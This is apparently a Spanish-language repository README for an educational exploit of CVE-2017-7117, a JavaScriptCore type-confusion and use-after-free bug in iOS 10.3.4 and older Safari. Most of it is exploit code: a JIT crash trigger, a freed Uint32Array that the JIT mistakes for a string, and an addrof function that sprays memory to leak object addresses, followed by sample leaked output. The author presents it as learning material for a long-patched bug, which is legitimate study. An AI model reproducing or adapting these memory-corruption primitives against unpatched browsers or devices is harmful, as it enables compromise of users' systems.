
Exploit educativo para CVE-2017-7117, una vulnerabilidad de confusión de tipos y uso después de liberar en JavaScriptCore de iOS 10.3.4, que demuestra técnicas de memory spraying y fuga de direcciones.
Una confusión de tipos y UAF encontrado en iOS 10.3.4 y anteriores, Safari anterior a 11.0.
CVE-2017-7117: mitre.org
Descubierto por @lokihardt, fuente: Google Project Zero
function f() {
let o = {};
for (let i in {xx: 0}) { // i is a String
for (i of [0]) { // i is now a number, but JIT treats as String
}
print(o[i]); // whoops
}
}
f();
Ejecutar el código anterior hará que JSC se bloquee.
Creamos un gran array arr, que el compilador JIT confundirá creyendo que es una cadena.
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags
Cuando se pierde la referencia a i, mantenemos acceso al array original arr y podemos leer la memoria subyacente.
Mediante la pulverización de un valor conocido podemos encontrar esto y recorrer hacia arriba para localizar el puntero a cualquier objeto.
function addrof(obj) {
// search the freed array for this number
var locator = 0x1337;
// spray the freed memory with the locator
var sprays = [];
for (var i = 0; i < 0x1000; ++i) {
sprays.push(i % 2 == 0 ? locator : obj);
}
// find the first instance of the locator
var found = null;
for(var i = 0; i < arr.length; i++) {
if(arr[i] == locator) {
found = i
break
}
}
// the pointer for the object is 3 and 2 indicies after the locator
return found && [arr[found + 3], arr[found + 2]]
}
Los valores se acceden en memoria a través de un Uint32Array, bits bajos primero, bits altos después.
let target = {
foo: "bar"
}
let address = addrof(target)
// address: 0x0000ffff8d178e60
Puedes verificar que la dirección es válida usando describe()
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244
Actualmente probado en:
No funciona (aún) en iPhone 5, iOS 10.3.4. Averigüemos por qué ...
Este repositorio se proporciona como un recurso educativo para seguir mi aprendizaje en el desarrollo de exploits. Este CVE ha sido parcheado durante más de 7 años. NO uses esto para fines nefastos, obviamente.